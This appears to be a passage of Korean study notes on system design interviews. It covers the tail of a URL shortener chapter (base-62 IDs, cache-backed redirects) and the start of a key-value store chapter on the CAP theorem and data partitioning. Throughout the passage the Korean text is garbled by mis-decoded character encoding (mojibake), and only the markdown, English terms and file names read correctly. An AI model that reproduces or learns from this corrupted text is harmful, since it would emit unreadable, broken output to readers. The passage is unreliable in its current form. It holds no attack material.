์ƒ์„ฑ๊ธฐ๊ฐ€ ํ•„์š” | | ์ถฉ๋Œ์ด ๊ฐ€๋Šฅํ•ด์„œ ํ•ด์†Œ ์ „๋žต ํ•„์š” | ID์˜ ์œ ์ผ์„ฑ์ด ๋ณด์žฅ๋œ ํ›„์—์•ผ ์ ์šฉ ๊ฐ€๋Šฅํ•œ ์ „๋žต์ด๊ธฐ ๋•Œ๋ฌธ์— ์ถฉ๋Œ์€ ์•„์˜ˆ ๋ถˆ๊ฐ€๋Šฅ | | ID๋กœ๋ถ€ํ„ฐ ๋‹จ์ถ• URL์„ ๊ณ„์‚ฐํ•˜๋Š” ๋ฐฉ์‹์ด ์•„๋‹ˆ๋ผ ๋‹ค์Œ์— ์“ธ ์ˆ˜ ์žˆ๋Š” URL์„ ์•Œ์•„๋‚ด๋Š” ๊ฒƒ์ด ๋ถˆ๊ฐ€๋Šฅ | ID๊ฐ€ 1์”ฉ ์ฆ๊ฐ€ํ•˜๋Š” ๊ฐ’์ด๋ผ๊ณ  ๊ฐ€์ •ํ•˜๋ฉด ๋‹ค์Œ์— ์“ธ ์ˆ˜ ์žˆ๋Š” ๋‹จ์ถ• URL์ด ๋ฌด์—‡์ธ์ง€ ์‰ฝ๊ฒŒ ์•Œ ์ˆ˜ ์žˆ์–ด ๋ณด์•ˆ์ƒ ๋ฌธ์ œ๊ฐ€ ๋  ์†Œ์ง€๊ฐ€ ์žˆ์Œ | ##### URL ๋‹จ์ถ•๊ธฐ ์ƒ์„ธ ์„ค๊ณ„ - base-62์ง„๋ฒ• ๋ณ€ํ™˜์„ ์‚ฌ์šฉํ•˜์—ฌ ์„ค๊ณ„ํ•œ๋‹ค. 1. ์ž…๋ ฅ์œผ๋กœ ๊ธด URL์„ ๋ฐ›๋Š”๋‹ค. 2. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ํ•ด๋‹น URL์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•œ๋‹ค. 3. ํ•ด๋‹น URL์ด ์žˆ๋‹ค๋ฉด ๋‹จ์ถ• URL์„ ๊ฐ€์ ธ์™€์„œ ๋ฐ˜ํ™˜ํ•œ๋‹ค. 4. ์—†๋‹ค๋ฉด ํ•ด๋‹น URL์— ๋Œ€ํ•œ ์œ ์ผํ•œ ID๋ฅผ ์ƒ์„ฑํ•œ๋‹ค. ์ด ID๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๊ธฐ๋ณธ ํ‚ค๋กœ ์‚ฌ์šฉ๋œ๋‹ค. 5. 62์ง„๋ฒ• ๋ณ€ํ™˜์„ ์ ์šฉํ•ด ID๋ฅผ ๋‹จ์ถ• URL๋กœ ๋งŒ๋“ ๋‹ค. 6. ID, ๋‹จ์ถ• URL, ์›๋ž˜ URL๋กœ ์ƒˆ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋ ˆ์ฝ”๋“œ๋ฅผ ๋งŒ๋“  ํ›„ ๋‹จ์ถ• URL์„ ํด๋ผ์ด์–ธํŠธ์— ์ „๋‹ฌํ•œ๋‹ค. 4๋‹จ๊ณ„์—์„œ ์‚ฌ์šฉํ•˜๋Š” ID ์ƒ์„ฑ๊ธฐ๋Š” ๋‹จ์ถ• URL์„ ๋งŒ๋“ค ๋•Œ ํ•„์š”ํ•œ ID๋ฅผ ๋งŒ๋“ค๊ณ , ์ด ID๋Š” ์ „์—ญ์  ์œ ์ผ์„ฑ์ด ๋ณด์žฅ๋˜์–ด์•ผ ํ•œ๋‹ค. ์ด ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด์„œ๋Š” 6์žฅ์„ ๋‹ค์‹œ ์‚ดํŽด๋ณด์ž ##### URL ๋ฆฌ๋””๋ ‰์…˜ ์ƒ์„ธ ์„ค๊ณ„ ์“ฐ๊ธฐ๋ณด๋‹ค ์ฝ๊ธฐ๋ฅผ ๋” ๋งŽ์ด ํ•˜๋Š” ์‹œ์Šคํ…œ์ด๊ธฐ ๋•Œ๋ฌธ์— `<๋‹จ์ถ• URL, ์›๋ž˜ URL>` ์˜ ์Œ์„ ์บ์‹œ์— ์ €์žฅํ•˜์—ฌ ์ฝ๊ธฐ ์†๋„๋ฅผ ๋†’์˜€๋‹ค. ![8-1](img/8-1.png) ๋กœ๋“œ๋ฐธ๋Ÿฐ์„œ์˜ ๋™์ž‘ ํ๋ฆ„์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์š”์•ฝํ•  ์ˆ˜ ์žˆ๋‹ค. 1. ์‚ฌ์šฉ์ž๊ฐ€ ๋‹จ์ถ• URL์„ ํด๋ฆญํ•œ๋‹ค. 2. ๋กœ๋“œ๋ฐธ๋Ÿฐ์„œ๊ฐ€ ํ•ด๋‹น ํด๋ฆญ์œผ๋กœ ๋ฐœ์ƒํ•œ ์š”์ฒญ์„ ์›น ์„œ๋ฒ„์— ์ „๋‹ฌํ•œ๋‹ค. 3. ๋‹จ์ถ• URL์ด ์ด๋ฏธ ์บ์‹œ์— ์žˆ๋Š” ๊ฒฝ์šฐ์—๋Š” ์›๋ž˜ URL์„ ๋ฐ”๋กœ ๊บผ๋‚ด์„œ ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ์ „๋‹ฌํ•œ๋‹ค. 4. ์บ์‹œ์— ํ•ด๋‹น ๋‹จ์ถ• URL์ด ์—†๋Š” ๊ฒฝ์šฐ์—๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ๊บผ๋‚ธ๋‹ค. DB์— ์—†๋‹ค๋ฉด ์•„๋งˆ ์‚ฌ์šฉ์ž๊ฐ€ ์ž˜๋ชป๋œ ๋‹จ์ถ• URL์„ ์ž…๋ ฅํ•œ ๊ฒฝ์šฐ์ผ ๊ฒƒ์ด๋‹ค. 5. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ๊บผ๋‚ธ URL์„ ์บ์‹œ์— ๋„ฃ์€ ํ›„ ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ฐ˜ํ™˜ํ•œ๋‹ค. ## 4๋‹จ๊ณ„ ๋งˆ๋ฌด๋ฆฌ ์‹œ๊ฐ„์ด ๋‚จ๋Š”๋‹ค๋ฉด ๋ฉด์ ‘๊ด€๊ณผ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋‚ด์šฉ์— ๋Œ€ํ•ด ์ถ”๊ฐ€๋กœ ์ด์•ผ๊ธฐ ํ•ด ๋ณผ ์ˆ˜ ์žˆ๋‹ค. 1. ์ฒ˜๋ฆฌ์œจ ์ œํ•œ ์žฅ์น˜(rate limiter): ์ง€๊ธˆ๊นŒ์ง€ ์‚ดํŽด๋ณธ ์‹œ์Šคํ…œ์€ ์—„์ฒญ๋‚œ ์–‘์˜ URL ๋‹จ์ถ• ์š”์ฒญ์ด ๋“ค์–ด ์˜ฌ ๊ฒฝ์šฐ ๋ฌด๋ ฅํ™” ๋  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ž ์žฌ์  ๋ณด์•ˆ ๊ฒฐํ•จ์„ ๊ฐ–๊ณ  ์žˆ๋‹ค. ์ฒ˜๋ฆฌ์œจ ์ œํ•œ ์žฅ์น˜๋ฅผ ํ†ตํ•ด ํ•„ํ„ฐ๋ง ๊ทœ์น™์„ ์„ค์ •ํ•˜์—ฌ ์š”์ฒญ์„ ๊ฑธ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ๋‹ค. 2. ์›น ์„œ๋ฒ„์˜ ๊ทœ๋ชจ ํ™•์žฅ: ๋ณธ ์„ค๊ณ„์— ํฌํ•จ๋œ ์›น ๊ณ„์ธต์€ stateless์ด๋‹ค. ๋”ฐ๋ผ์„œ ์›น ์„œ๋ฒ„๋ฅผ ์ž์œ ๋กœ์ด ์ฆ์„คํ•˜๊ฑฐ๋‚˜ ์‚ญ์ œํ•  ์ˆ˜ ์žˆ๋‹ค. 3. ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๊ทœ๋ชจ ํ™•์žฅ: ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๋‹ค์ค‘ํ™”ํ•˜๊ฑฐ๋‚˜ ์ƒค๋”ฉํ•˜์—ฌ ๊ทœ๋ชจ ํ™•์žฅ์„ฑ์„ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค. 4. ๋ฐ์ดํ„ฐ ๋ถ„์„ ์†”๋ฃจ์…˜: URL ๋‹จ์ถ•๊ธฐ์— ๋ถ„์„ ์†”๋ฃจ์…˜์„ ํ†ตํ•ฉํ•ด ๋‘๋ฉด ์–ด๋–ค ๋งํฌ๋ฅผ ์–ผ๋งˆ๋‚˜ ๋งŽ์€ ์‚ฌ์šฉ์ž๊ฐ€ ํด๋ฆญํ–ˆ๋Š”์ง€ ๋“ฑ์˜ ์ค‘์š”ํ•œ ์ •๋ณด๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค. 5. ๊ฐ€์šฉ์„ฑ, ๋ฐ์ดํ„ฐ ์ผ๊ด€์„ฑ, ์•ˆ์ •์„ฑ: ๋Œ€๊ทœ๋ชจ ์‹œ์Šคํ…œ์ด ์„ฑ๊ณต์ ์œผ๋กœ ์šด์˜๋˜๊ธฐ ์œ„ํ•ด ๋ฐ˜๋“œ์‹œ ๊ฐ–์ถ”์–ด์•ผ ํ•  ์†์„ฑ๋“ค์ด๋‹ค. ``` chap6.md ```# 6์žฅ ํ‚ค-๊ฐ’ ์ €์žฅ์†Œ ์„ค๊ณ„ #### ํ‚ค-๊ฐ’ ์ €์žฅ์†Œ(key-value store) ํ‚ค-๊ฐ’ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ผ๊ณ ๋„ ๋ถˆ๋ฆฌ๋Š” ๋น„ ๊ด€๊ณ„ํ˜•(non relational) ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์ด๋‹ค. ์ด ์ €์žฅ์†Œ์— ์ €์žฅ๋˜๋Š” ๊ฐ’์€ ๊ณ ์œ  ์‹๋ณ„์ž(identifier)๋ฅผ ํ‚ค๋กœ ๊ฐ€์ ธ์•ผ ํ•œ๋‹ค. ํ‚ค์™€ ๊ฐ’ ์‚ฌ์ด์˜ ์ด๋Ÿฐ ์—ฐ๊ฒฐ ๊ด€๊ณ„๋ฅผ "ํ‚ค-๊ฐ’" ์Œ (pair)์ด๋ผ๊ณ  ์ง€์นญํ•œ๋‹ค. #### ํ‚ค-๊ฐ’ ์Œ์—์„œ์˜ ํ‚ค ์œ ์ผํ•ด์•ผ ํ•˜๋ฉฐ ํ•ด๋‹น ํ‚ค์— ๋งค๋‹ฌ๋ฆฐ ๊ฐ’์€ ํ‚ค๋ฅผ ํ†ตํ•ด์„œ๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค. ํ‚ค๋Š” ์ผ๋ฐ˜ ํ…์ŠคํŠธ์ผ ์ˆ˜๋„ ์žˆ๊ณ  ํ•ด์‹œ ๊ฐ’์ผ ์ˆ˜๋„ ์žˆ๋‹ค. ์„ฑ๋Šฅ์ƒ์˜ ์ด์œ ๋กœ ํ‚ค๋Š” ์งง์„ ์ˆ˜๋ก ์ข‹๋‹ค. ์•„๋ž˜๋Š” ํ‚ค์˜ ์‚ฌ๋ก€์ด๋‹ค. ``` ์ผ๋ฐ˜ ํ…์ŠคํŠธ ํ‚ค: "last_logged_in_at" ํ•ด์‹œ ํ‚ค: 253DDEC4 ``` #### ํ‚ค-๊ฐ’ ์Œ์—์„œ์˜ ๊ฐ’ ์ผ๋ฐ˜์ ์œผ๋กœ ๊ฐ’์œผ๋กœ ๋ฌด์—‡์ด ์˜ค๋“  ์ƒ๊ด€ํ•˜์ง€ ์•Š๋Š”๋‹ค. ๋ฌธ์ž์—ด์ผ ์ˆ˜๋„ ์žˆ๊ณ  ๋ฆฌ์ŠคํŠธ์ผ ์ˆ˜๋„ ์žˆ๊ณ  ๊ฐ์ฒด์ผ ์ˆ˜๋„ ์žˆ๋‹ค. ๋Œ€ํ‘œ์ ์ธ ํ‚ค-๊ฐ’ ์ €์žฅ์†Œ์—๋Š” ์•„๋งˆ์กด ๋‹ค์ด๋‚˜๋ชจ, memcached, redis ๋“ฑ์ด ์žˆ๋‹ค. ์ด๋ฒˆ ์žฅ์—์„œ๋Š” ์•„๋ž˜ ์—ฐ์‚ฐ์„ ์ง€์›ํ•˜๋Š” ํ‚ค-๊ฐ’ ์ €์žฅ์†Œ๋ฅผ ์„ค๊ณ„ํ•ด ๋ณผ ๊ฒƒ์ด๋‹ค. ``` put(key, value): ํ‚ค-๊ฐ’ ์Œ์„ ์ €์žฅ์†Œ์— ์ €์žฅํ•œ๋‹ค get(key): ์ธ์ž๋กœ ์ฃผ์–ด์ง„ ํ‚ค์— ๋งค๋‹ฌ๋ฆฐ ๊ฐ’์„ ๊บผ๋‚ธ๋‹ค. ``` ## ๋ฌธ์ œ ์ดํ•ด ๋ฐ ์„ค๊ณ„ ๋ฒ”์œ„ ํ™•์ • - ํ‚ค-๊ฐ’ ์Œ์˜ ํฌ๊ธฐ๋Š” 10KB ์ดํ•˜์ด๋‹ค. - ํฐ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•œ๋‹ค. - ๋†’์€ ๊ฐ€์šฉ์„ฑ์„ ์ œ๊ณตํ•ด์•ผ ํ•œ๋‹ค. ๋”ฐ๋ผ์„œ ์‹œ์Šคํ…œ์€ ์„ค์‚ฌ ์žฅ์• ๊ฐ€ ์žˆ๋”๋ผ๋„ ๋นจ๋ฆฌ ์‘๋‹ตํ•ด์•ผ ํ•œ๋‹ค. - ๋†’์€ ๊ทœ๋ชจ ํ™•์žฅ์„ฑ์„ ์ œ๊ณตํ•ด์•ผ ํ•œ๋‹ค. ๋”ฐ๋ผ์„œ ํŠธ๋ž˜ํ”ฝ ์–‘์— ๋”ฐ๋ผ ์ž๋™์ ์œผ๋กœ ์„œ๋ฒ„ ์ฆ์„ค/์‚ญ์ œ๊ฐ€ ์ด๋ฃจ์–ด์ ธ์•ผ ํ•œ๋‹ค. - ๋ฐ์ดํ„ฐ ์ผ๊ด€์„ฑ ์ˆ˜์ค€์€ ์กฐ์ •์ด ๊ฐ€๋Šฅํ•ด์•ผ ํ•œ๋‹ค. - ์‘๋‹ต ์ง€์—ฐ์‹œ๊ฐ„(latency)์ด ์งง์•„์•ผ ํ•œ๋‹ค. ## ๋‹จ์ผ ์„œ๋ฒ„ ํ‚ค-๊ฐ’ ์ €์žฅ์†Œ - ํ•œ ๋Œ€ ์„œ๋ฒ„๋งŒ ์‚ฌ์šฉํ•˜๋Š” ํ‚ค-๊ฐ’ ์ €์žฅ์†Œ๋ฅผ ์„ค๊ณ„ํ•˜๋Š” ๊ฒƒ์€ ์‰ฝ๋‹ค. - ๊ฐ€์žฅ ์ง๊ด€์ ์ธ ๋ฐฉ๋ฒ•์€ ํ‚ค-์Œ ์ „๋ถ€๋ฅผ ๋ฉ”๋ชจ๋ฆฌ์— ํ•ด์‹œ ํ…Œ์ด๋ธ”๋กœ ์ €์žฅํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ์ ‘๊ทผ๋ฒ•์€ ๋น ๋ฅธ ์†๋„๋ฅผ ๋ณด์žฅํ•˜๊ธด ํ•˜์ง€๋งŒ ๋ชจ๋“  ๋ฐ์ดํ„ฐ๋ฅผ ๋ฉ”๋ชจ๋ฆฌ ์•ˆ์— ๋‘๋Š” ๊ฒƒ์ด ๋ถˆ๊ฐ€๋Šฅํ•  ์ˆ˜๋„ ์žˆ๋‹ค๋Š” ์•ฝ์ ์„ ๊ฐ–๊ณ  ์žˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•œ ๊ฐœ์„ ์ฑ…์œผ๋กœ๋Š” - ๋ฐ์ดํ„ฐ ์••์ถ• - ์ž์ฃผ ์“ฐ์ด๋Š” ๋ฐ์ดํ„ฐ๋งŒ ๋ฉ”๋ชจ๋ฆฌ์— ๋‘๊ณ  ๋‚˜๋จธ์ง€๋Š” ๋””์Šคํฌ์— ์ €์žฅ ๊ทธ๋Ÿฌ๋‚˜ ์ด๋ ‡๊ฒŒ ๊ฐœ์„ ํ•˜๋”๋ผ๋„ ํ•œ ๋Œ€ ์„œ๋ฒ„๋กœ ๋ถ€์กฑํ•œ ์ˆœ๊ฐ„์ด ๊ณง ์ฐพ์•„์˜จ๋‹ค. ๋”ฐ๋ผ์„œ ๋งŽ์€ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๋ ค๋ฉด ๋ถ„์‚ฐ ํ‚ค-๊ฐ’ ์ €์žฅ์†Œ (distributed key-value store)๋ฅผ ๋งŒ๋“ค ํ•„์š”๊ฐ€ ์žˆ๋‹ค. ## ๋ถ„์‚ฐ ํ‚ค-๊ฐ’ ์ €์žฅ์†Œ - AKA ๋ถ„์‚ฐ ํ•ด์‹œ ํ…Œ์ด๋ธ” (ํ‚ค-๊ฐ’ ์Œ์„ ์—ฌ๋Ÿฌ ์„œ๋ฒ„์— ๋ถ„์‚ฐ์‹œํ‚ค๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค) - ๋ถ„์‚ฐ ์‹œ์Šคํ…œ์„ ์„ค๊ณ„ํ•  ๋•Œ๋Š” CAP ์ •๋ฆฌ๋ฅผ ์ดํ•ดํ•˜๊ณ  ์žˆ์–ด์•ผ ํ•œ๋‹ค. - Consistency (์ผ๊ด€์„ฑ) : ๋ถ„์‚ฐ ์‹œ์Šคํ…œ์— ์ ‘์†ํ•˜๋Š” ๋ชจ๋“  ํด๋ผ์ด์–ธํŠธ๋Š” ์–ด๋–ค ๋…ธ๋“œ์— ์ ‘์†ํ–ˆ๋А๋ƒ์— ๊ด€๊ณ„์—†์ด ์–ธ์ œ๋‚˜ ๊ฐ™์€ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณด๊ฒŒ ๋˜์–ด์•ผ ํ•œ๋‹ค. - Availability (๊ฐ€์šฉ์„ฑ): ๋ถ„์‚ฐ ์‹œ์Šคํ…œ์— ์ ‘์†ํ•˜๋Š” ํด๋ผ์ด์–ธํŠธ๋Š” ์ผ๋ถ€ ๋…ธ๋“œ์— ์žฅ์• ๊ฐ€ ๋ฐœ์ƒํ•˜๋”๋ผ๋„ ํ•ญ์ƒ ์‘๋‹ต์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์–ด์•ผ ํ•œ๋‹ค. - Partition tolerance (ํŒŒํ‹ฐ์…˜ ๊ฐ๋‚ด): ํŒŒํ‹ฐ์…˜(๋‘ ๋…ธ๋“œ ์‚ฌ์ด์˜ ํ†ต์‹  ์žฅ์• ) ๊ฐ๋‚ด๋Š” ๋„คํŠธ์›Œํฌ์— ํŒŒํ‹ฐ์…˜์ด ์ƒ๊ธฐ๋”๋ผ๋„ ์‹œ์Šคํ…œ์€ ๊ณ„์† ๋™์ž‘ํ•˜์—ฌ์•ผ ํ•œ๋‹ค๋Š” ๊ฒƒ์„ ๋œปํ•œ๋‹ค. - ์ด ์„ธ ์š”๊ตฌ์‚ฌํ•ญ ์–ด๋–ค ๋‘๊ฐ€์ง€๋ฅผ ์ถฉ์กฑํ•˜๋ ค๋ฉด ๋‚˜๋จธ์ง€ ํ•˜๋‚˜๋Š” ๋ฐ˜๋“œ์‹œ ํฌ์ƒ๋œ๋‹ค. - ํ‚ค-๊ฐ’ ์ €์žฅ์†Œ๋Š” ์œ„ ์„ธ ์š”๊ตฌ์‚ฌํ•ญ ์ค‘ ์–ด๋А ๋‘๊ฐ€์ง€๋ฅผ ๋งŒ์กฑํ•˜๋А๋ƒ์— ๋”ฐ๋ผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ถ„๋ฅ˜ํ•  ์ˆ˜ ์žˆ๋‹ค. - CP ์‹œ์Šคํ…œ: ์ผ๊ด€์„ฑ๊ณผ ํŒŒํ‹ฐ์…˜ ๊ฐ๋‚ด๋ฅผ ์ง€์›ํ•˜๋Š” ํ‚ค-๊ฐ’ ์ €์žฅ์†Œ. ๊ฐ€์šฉ์„ฑ์„ ํฌ์ƒํ•œ๋‹ค. - AP ์‹œ์Šคํ…œ: ๊ฐ€์šฉ์„ฑ๊ณผ ํŒŒํ‹ฐ์…˜ ๊ฐ๋‚ด๋ฅผ ์ง€์›ํ•˜๋Š” ํ‚ค-๊ฐ’ ์ €์žฅ์†Œ. ๋ฐ์ดํ„ฐ ์ผ๊ด€์„ฑ์„ ํฌ์ƒํ•œ๋‹ค. - CA ์‹œ์Šคํ…œ: ์ผ๊ด€์„ฑ๊ณผ ๊ฐ€์šฉ์„ฑ์„ ์ง€์›ํ•˜๋Š” ํ‚ค-๊ฐ’ ์ €์žฅ์†Œ, ํŒŒํ‹ฐ์…˜ ๊ฐ๋‚ด๋Š” ์ง€์›ํ•˜์ง€ ์•Š๋Š”๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ผ๋ฐ˜์ ์œผ๋กœ ๋„คํŠธ์›Œํฌ ์žฅ์• ๋Š” ํ”ผํ•  ์ˆ˜ ์—†๋Š” ๊ฒƒ์œผ๋กœ ์—ฌ๊ฒจ์ง€๋ฏ€๋กœ ๋ถ„์‚ฐ ์‹œ์Šคํ…œ์€ ๋ฐ˜๋“œ์‹œ ํŒŒํ‹ฐ์…˜ ๋ฌธ์ œ๋ฅผ ๊ฐ๋‚ดํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•œ๋‹ค. ๋”ฐ๋ผ์„œ ์‹ค์„ธ๊ณ„์—์„œ CA ์‹œ์Šคํ…œ์€ ์กด์žฌํ•˜์ง€ ์•Š๋Š”๋‹ค. ### ์ด์ƒ์  ์ƒํƒœ ๋„คํŠธ์›Œํฌ ํŒŒํ‹ฐ์…˜๋˜๋Š” ์ƒํ™ฉ์ด ์ผ์–ด๋‚˜์ง€ ์•Š์„ ๊ฒƒ์ด๋‹ค. n1์— ๊ธฐ๋ก๋œ ๋ฐ์ดํ„ฐ๋Š” n2์™€ n3์— ์ž๋™์œผ๋กœ ๋ณต์ œ๋œ๋‹ค. ๋ฐ์ดํ„ฐ ์ผ๊ด€์„ฑ๊ณผ ๊ฐ€์šฉ์„ฑ๋„ ๋งŒ์กฑ๋œ๋‹ค. ![6-1](img/6-1.png) ### ์‹ค์„ธ๊ณ„์˜ ๋ถ„์‚ฐ ์‹œ์Šคํ…œ ๋ถ„์‚ฐ ์‹œ์Šคํ…œ์€ ํŒŒํ‹ฐ์…˜์„ ํ”ผํ•  ์ˆ˜ ์—†๊ณ , ํŒŒํ‹ฐ์…˜์ด ๋ฐœ์ƒํ•˜๋ฉด ์ผ๊ด€์„ฑ๊ณผ ๊ฐ€์šฉ์„ฑ ์ค‘ ๋‘˜ ์ค‘ ํ•˜๋‚˜๋ฅผ ์„ ํƒํ•ด์•ผ ํ•œ๋‹ค. ํด๋ผ์ด์–ธํŠธ๊ฐ€ n1 or n2์— ๊ธฐ๋กํ•œ ๋ฐ์ดํ„ฐ๋Š” n3์— ์ „๋‹ฌ๋˜์ง€ ์•Š๋Š”๋‹ค. ๋˜ํ•œ n3์— ๊ธฐ๋ก๋์œผ๋‚˜ ์•„์ง n1 ํ˜น์€ n2๋กœ ์ „๋‹ฌ๋˜์ง€ ์•Š์€ ๋ฐ์ดํ„ฐ๊ฐ€ ์žˆ๋‹ค๋ฉด n1๊ณผ n2๋Š” ์˜ค๋ž˜๋œ ์‚ฌ๋ณธ์„ ๊ฐ–๊ณ  ์žˆ์„ ๊ฒƒ์ด๋‹ค. ![6-2](img/6-2.png) ์ผ๊ด€์„ฑ์„ ํƒํ•œ๋‹ค๋ฉด - ์„ธ ์„œ๋ฒ„ ์‚ฌ์ด์˜ ๋ฐ์ดํ„ฐ ๋ถˆ์ผ์น˜๋ฅผ ๋ง‰๊ธฐ ์œ„ํ•ด ์“ฐ๊ธฐ ์—ฐ๋‹จ์„ ์ค‘๋‹จ์‹œ์ผœ์•ผ ํ•˜๋Š”๋ฐ, ์ด๋ ‡๊ฒŒ ํ•  ๊ฒฝ์šฐ ๊ฐ€์šฉ์„ฑ์ด ๊นจ์ง„๋‹ค. - ์€ํ–‰๊ถŒ ์‹œ์Šคํ…œ์—์„œ๋Š” ๋Œ€๊ฒŒ ์ผ๊ด€์„ฑ์„ ํƒํ•œ๋‹ค. - ์ด๋Ÿฐ ์‹œ์Šคํ…œ์—์„œ๋Š” ๋ฌธ์ œ๊ฐ€ ํ•ด๊ฒฐ๋  ๋•Œ ๊นŒ์ง€ ์—๋Ÿฌ๋ฅผ ๋ฐ˜ํ™˜ํ•ด์•ผ ํ•œ๋‹ค. ๊ฐ€์šฉ์„ฑ์„ ํƒํ•œ๋‹ค๋ฉด - ์˜ค๋ž˜๋œ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋”๋ผ๋„ ๊ณ„์† ์ฝ๊ธฐ ์—ฐ์‚ฐ์„ ํ—ˆ์šฉํ•ด์•ผ ํ•œ๋‹ค. n1๊ณผ n2๋Š” ๊ณ„์† ์“ฐ๊ธฐ๋ฅผ ํ—ˆ์šฉํ•  ๊ฒƒ์ด๊ณ , ํŒŒํ‹ฐ์…˜ ๋ฌธ์ œ๊ฐ€ ํ•ด๊ฒฐ๋œ ํ›„์— ์ƒˆ ๋ฐ์ดํ„ฐ๋ฅผ n3์— ์ „์†กํ•  ๊ฒƒ์ด๋‹ค. ๋ถ„์‚ฐ ํ‚ค-๊ฐ’ ์ €์žฅ์†Œ๋ฅผ ๋งŒ๋“ค ๋•Œ๋Š” ๊ทธ ์š”๊ตฌ์‚ฌํ•ญ์— ๋งž์ถฐ CAP ์ •๋ฆฌ๋ฅผ ์ ์šฉํ•ด์•ผ ํ•œ๋‹ค. ์ด ๋ฌธ์ œ์— ๋Œ€ํ•ด ๋ฉด์ ‘๊ด€๊ณผ ์ƒ์˜ํ•˜๊ณ , ๊ทธ ๊ฒฐ๋ก ์— ๋”ฐ๋ผ ์‹œ์Šคํ…œ์„ ์„ค๊ณ„ํ•˜๋„๋ก ํ•˜์ž. ### ์‹œ์Šคํ…œ ์ปดํฌ๋„ŒํŠธ ํ‚ค-๊ฐ’ ์ €์žฅ์†Œ ๊ตฌํ˜„์— ์‚ฌ์šฉ๋  ํ•ต์‹ฌ ์ปดํฌ๋„ŒํŠธ๋“ค ๋ฐ ๊ธฐ์ˆ ๋“ค์„ ์‚ดํŽด๋ณผ ๊ฒƒ์ด๋‹ค. - ๋ฐ์ดํ„ฐ ํŒŒํ‹ฐ์…˜ - ๋ฐ์ดํ„ฐ ๋‹ค์ค‘ํ™” (replication) - ์ผ๊ด€์„ฑ (consistency) - ์ผ๊ด€์„ฑ ๋ถˆ์ผ์น˜ ํ•ด์†Œ (inconsistency resolution) - ์žฅ์•  ์ฒ˜๋ฆฌ - ์‹œ์Šคํ…œ ์•„ํ‚คํ…์ฒ˜ ๋‹ค์ด์–ด๊ทธ๋žจ - ์“ฐ๊ธฐ ๊ฒฝ๋กœ (write path) - ์ฝ๊ธฐ ๊ฒฝ๋กœ (read path) #### ๋ฐ์ดํ„ฐ ํŒŒํ‹ฐ์…˜ ๋Œ€๊ทœ๋ชจ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ฒฝ์šฐ ์ „์ฒด ๋ฐ์ดํ„ฐ๋ฅผ ํ•œ ๋Œ€ ์„œ๋ฒ„์— ๋„ฃ๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค. ๊ฐ€์žฅ ๋‹จ์ˆœํ•œ ํ•ด๊ฒฐ์ฑ…์€ ๋ฐ์ดํ„ฐ๋ฅผ ์ž‘์€ ํŒŒํ‹ฐ์…˜์œผ๋กœ ๋ถ„ํ• ํ•œ ๋‹ค์Œ ์—ฌ๋Ÿฌ๋Œ€ ์„œ๋ฒ„์— ์ €์žฅํ•˜๋Š” ๊ฒƒ์ด๋‹ค. ๋ฐ์ดํ„ฐ๋ฅผ ํŒŒํ‹ฐ์…˜์œผ๋กœ ๋‚˜๋ˆŒ ๋•Œ๋Š” ๋‹ค์Œ ๋ฌธ์ œ๋ฅผ ์ค‘์š”ํ•˜๊ฒŒ ๋”ฐ์ ธ๋ด์•ผ ํ•œ๋‹ค. - ๋ฐ์ดํ„ฐ๋ฅผ ์—ฌ๋Ÿฌ ์„œ๋ฒ„์— ๊ณ ๋ฅด๊ฒŒ ๋ถ„์‚ฐํ•  ์ˆ˜ ์žˆ๋Š”๊ฐ€ - ๋…ธ๋“œ๊ฐ€ ์ถ”๊ฐ€๋˜๊ฑฐ๋‚˜ ์‚ญ์ œ๋  ๋•Œ ๋ฐ์ดํ„ฐ์˜ ์ด๋™์„ ์ตœ์†Œํ™”ํ•  ์ˆ˜ ์žˆ๋Š”๊ฐ€ 5์žฅ์—์„œ ์‚ดํŽด๋ณธ consistent hash๋Š” ์ด๋Ÿฐ ๋ฌธ์ œ๋ฅผ ํ‘ธ๋Š”๋ฐ ์ ํ•ฉํ•œ ๊ธฐ์ˆ ์ด๋‹ค. consistent hash๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ํŒŒํ‹ฐ์…˜ํ•˜๋ฉด ์ข‹์€ ์ ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. - ๊ทœ๋ชจ ํ™•์žฅ ์ž๋™ํ™”: ์‹œ์Šคํ…œ ๋ถ€ํ•˜์— ๋”ฐ๋ผ ์„œ๋ฒ„๊ฐ€ 